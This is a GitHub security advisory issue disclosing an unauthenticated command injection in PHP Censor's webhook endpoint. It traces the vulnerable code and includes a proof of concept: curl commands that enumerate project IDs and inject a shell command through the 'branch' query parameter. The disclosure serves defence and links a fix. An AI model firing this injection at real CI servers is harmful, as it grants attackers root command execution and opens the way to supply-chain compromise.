Skip to content

[security]Pre-Authentication Remote Code Execution in PHP Censor #442

@jackieya

Description

@jackieya

Description

A critical OS command injection vulnerability exists in the webhook endpoint that allows an unauthenticated remote attacker to execute arbitrary system commands on the server.

The vulnerability arises from two compounding issues:

  1. Authentication Bypass: The WebhookController is explicitly whitelisted from authentication checks in Application.php, allowing anyone to send requests to /webhook/git/<projectId> without any credentials or tokens.

  2. Command Injection: The branch parameter from the webhook request is passed unsanitized through sprintf() into a shell command string, which is then executed via Symfony's Process::fromShellCommandline(). This method interprets shell metacharacters, enabling injection of arbitrary commands.

An attacker only needs to know or enumerate a valid projectId (which can be done via the unauthenticated /build-status/image/<id> endpoint) to achieve full Remote Code Execution. In the default Docker deployment, commands execute as root.


Affected Code

1. Authentication Bypass — src/Application.php (Line 87)

The webhook controller is unconditionally excluded from session validation:

// src/Application.php:87
$skipValidation = \in_array($route['controller'], ['session', 'webhook', 'build-status'], true);

GitHub Link: https://github.com/php-censor/php-censor/blob/master/src/Application.php#L87

2. Unsanitized Input — src/Controller/WebhookController.php (Line 345)

The branch parameter is read directly from the HTTP request without any sanitization:

// src/Controller/WebhookController.php:345
'branch' => $this->getParam('branch', $project->getDefaultBranch()),

GitHub Link: https://github.com/php-censor/php-censor/blob/master/src/Controller/WebhookController.php#L345

3. Command Injection Sink — src/Model/Build/GitBuild.php (Lines 105-106, 135-138)

The unsanitized branch value is interpolated into a shell command via sprintf:

// src/Model/Build/GitBuild.php:105-106 (HTTP clone)
$cmd .= ' -b "%s" "%s" "%s"';
$success = $builder->executeCommand($cmd, $this->getBranch(), $this->getCloneUrl(), $cloneTo);

// src/Model/Build/GitBuild.php:135-138 (SSH clone)
$cmd .= ' -b "%s" "%s" "%s"';
$cmd = 'export GIT_SSH="' . $gitSshWrapper . '" && ' . $cmd;
$success = $builder->executeCommand($cmd, $this->getBranch(), $this->getCloneUrl(), $cloneTo);

GitHub Links:

4. Shell Execution — src/Helper/CommandExecutor.php (Lines 101, 119)

The final command string is assembled by sprintf() and passed to Process::fromShellCommandline(), which parses and executes shell metacharacters:

// src/Helper/CommandExecutor.php:101
$command = \call_user_func_array('sprintf', $args);

// src/Helper/CommandExecutor.php:119
$process = Process::fromShellCommandline($command, $cwd);

GitHub Links:


Attack Flow

Attacker (Unauthenticated)
    │
    │  1. Enumerate projectId via GET /build-status/image/{id}
    │     (200 = exists, 500 = not found)
    │
    │  2. Send POST /webhook/git/{projectId}?branch=$(MALICIOUS_CMD)
    │     (No auth required — webhook controller is whitelisted)
    │
    ▼
WebhookController::git()
    │
    │  3. Reads branch=$(MALICIOUS_CMD) from request parameter
    │     without any sanitization or validation
    │
    ▼
BuildService::createBuild()
    │
    │  4. Creates a new Build record with the malicious branch value
    │     and pushes it to the Beanstalkd job queue
    │
    ▼
Worker (Asynchronous)
    │
    │  5. GitBuild::cloneByHttp() builds command:
    │     git clone --recursive -b "$(MALICIOUS_CMD)" "repo_url" "path"
    │
    │  6. CommandExecutor::executeCommand() calls sprintf() then
    │     Process::fromShellCommandline() → shell interprets $(...)
    │
    ▼
SYSTEM COMMAND EXECUTED AS ROOT

Proof of Concept

Prerequisites

  • A running PHP Censor instance with at least one Git-type project configured.
  • The attacker must know or enumerate a valid projectId.

Step 1: Enumerate a Valid Project ID

# Returns HTTP 200 with an SVG image if projectId exists
curl -s -o /dev/null -w "%{http_code}" http://TARGET:8088/build-status/image/1
# 200 = project exists, 500 = not found

Step 2: Trigger Command Injection

# Inject 'id > /tmp/pwned' via the branch parameter
curl -X POST "http://TARGET:8088/webhook/git/1?branch=\$(id%20>%20/tmp/pwned)"

Step 3: Verify Execution

The injected command is executed asynchronously by the Worker process. After a few seconds:

# On the server / inside the Worker container:
cat /tmp/pwned
# Output: uid=0(root) gid=0(root) groups=0(root),...

Impact

An unauthenticated attacker can:

  • Execute arbitrary commands on the server with the privileges of the Worker process (root in the default Docker deployment).
  • Read sensitive files including configuration files, database credentials, SSH keys, and environment variables.
  • Establish persistent access via reverse shells, SSH backdoors, or cron jobs.
  • Pivot to internal networks if the CI server has access to internal infrastructure.
  • Compromise the software supply chain by modifying build artifacts, injecting malicious code into tested/deployed software.

Proposed Fix

Pull Request: #441


Metadata

Metadata

Assignees

No one assigned

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions